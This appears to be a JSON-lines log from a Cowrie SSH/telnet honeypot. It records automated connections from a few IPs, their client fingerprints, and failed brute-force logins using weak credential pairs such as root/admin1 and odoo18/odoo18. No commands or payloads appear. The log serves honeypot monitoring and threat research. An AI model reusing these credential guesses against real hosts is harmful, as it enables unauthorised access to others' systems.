{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:48.713201Z","src_ip":"176.65.132.129","session":"d9e5d2dda4b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.161586761474609,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:48.891740Z","src_ip":"38.60.198.128","session":"cc3a416c7b38","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"test@123","message":"login attempt [root/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:48.957706Z","src_ip":"176.65.132.129","session":"d9e5d2dda4b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":54334,"dst_ip":"159.203.135.109","dst_port":23,"session":"a7d83a159a53","protocol":"telnet","message":"New connection: 38.60.198.128:54334 (159.203.135.109:23) [session: a7d83a159a53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:49.867188Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:50.092458Z","src_ip":"176.65.132.129","session":"d9e5d2dda4b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57484,"dst_ip":"10.17.0.5","dst_port":22,"session":"902b429e1fde","protocol":"ssh","message":"New connection: 176.65.132.129:57484 (10.17.0.5:22) [session: 902b429e1fde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:51.962659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:51.966974Z","src_ip":"176.65.132.129","session":"902b429e1fde","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:52.051691Z","src_ip":"176.65.132.129","session":"902b429e1fde","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin1","message":"login attempt [root/admin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:52.297594Z","src_ip":"176.65.132.129","session":"902b429e1fde","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.82.147","src_port":47100,"dst_ip":"159.203.135.109","dst_port":23,"session":"e58e360272e4","protocol":"telnet","message":"New connection: 64.227.82.147:47100 (159.203.135.109:23) [session: e58e360272e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:52.398897Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:53.382867Z","src_ip":"176.65.132.129","session":"902b429e1fde","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57490,"dst_ip":"10.17.0.5","dst_port":22,"session":"18d17d75cdf7","protocol":"ssh","message":"New connection: 176.65.132.129:57490 (10.17.0.5:22) [session: 18d17d75cdf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:55.404482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:55.409436Z","src_ip":"176.65.132.129","session":"18d17d75cdf7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:55.490998Z","src_ip":"176.65.132.129","session":"18d17d75cdf7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app123","message":"login attempt [app/app123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:55.736139Z","src_ip":"176.65.132.129","session":"18d17d75cdf7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":8.531461715698242,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:56.200329Z","src_ip":"38.54.119.93","session":"ff6426db5e29","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.22267746925354,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:56.251535Z","src_ip":"38.60.198.128","session":"95e6da2001ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:56.820139Z","src_ip":"176.65.132.129","session":"18d17d75cdf7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":53064,"dst_ip":"10.17.0.5","dst_port":22,"session":"78b5309cb49e","protocol":"ssh","message":"New connection: 176.65.132.129:53064 (10.17.0.5:22) [session: 78b5309cb49e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:58.666574Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:58.671166Z","src_ip":"176.65.132.129","session":"78b5309cb49e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:58.752658Z","src_ip":"176.65.132.129","session":"78b5309cb49e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amir","password":"amir","message":"login attempt [amir/amir] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:57:58.997735Z","src_ip":"176.65.132.129","session":"78b5309cb49e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:00.083799Z","src_ip":"176.65.132.129","session":"78b5309cb49e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":16.949105501174927,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:01.925261Z","src_ip":"64.227.82.147","session":"974e01542835","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":53068,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a2b8781f06b","protocol":"ssh","message":"New connection: 176.65.132.129:53068 (10.17.0.5:22) [session: 1a2b8781f06b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:02.106498Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:02.111447Z","src_ip":"176.65.132.129","session":"1a2b8781f06b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:02.197130Z","src_ip":"176.65.132.129","session":"1a2b8781f06b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"helloworld","message":"login attempt [root/helloworld] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:02.441859Z","src_ip":"176.65.132.129","session":"1a2b8781f06b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:03.525542Z","src_ip":"176.65.132.129","session":"1a2b8781f06b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":53076,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2aaf1b302ec","protocol":"ssh","message":"New connection: 176.65.132.129:53076 (10.17.0.5:22) [session: b2aaf1b302ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:05.293435Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:05.298396Z","src_ip":"176.65.132.129","session":"b2aaf1b302ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:05.380290Z","src_ip":"176.65.132.129","session":"b2aaf1b302ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo18","password":"odoo18","message":"login attempt [odoo18/odoo18] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:05.627859Z","src_ip":"176.65.132.129","session":"b2aaf1b302ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.253.45.10","src_port":41840,"dst_ip":"10.17.0.5","dst_port":22,"session":"37b52989aba9","protocol":"ssh","message":"New connection: 46.253.45.10:41840 (10.17.0.5:22) [session: 37b52989aba9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:06.012462Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:06.017444Z","src_ip":"46.253.45.10","session":"37b52989aba9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:06.134554Z","src_ip":"46.253.45.10","session":"37b52989aba9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3","password":"12345","message":"login attempt [ts3/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:06.632998Z","src_ip":"46.253.45.10","session":"37b52989aba9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:06.716521Z","src_ip":"176.65.132.129","session":"b2aaf1b302ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:07.752524Z","src_ip":"46.253.45.10","session":"37b52989aba9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":33568,"dst_ip":"10.17.0.5","dst_port":22,"session":"785d0b5b584e","protocol":"ssh","message":"New connection: 176.65.132.129:33568 (10.17.0.5:22) [session: 785d0b5b584e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:08.612078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:08.616010Z","src_ip":"176.65.132.129","session":"785d0b5b584e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:08.697426Z","src_ip":"176.65.132.129","session":"785d0b5b584e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1234567","message":"login attempt [user1/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:09.137886Z","src_ip":"176.65.132.129","session":"785d0b5b584e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:10.222150Z","src_ip":"176.65.132.129","session":"785d0b5b584e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.29506325721741,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:58:11.125864Z","src_ip":"45.81.23.16","session":"04c0dab9d020","protocol":"telnet"}
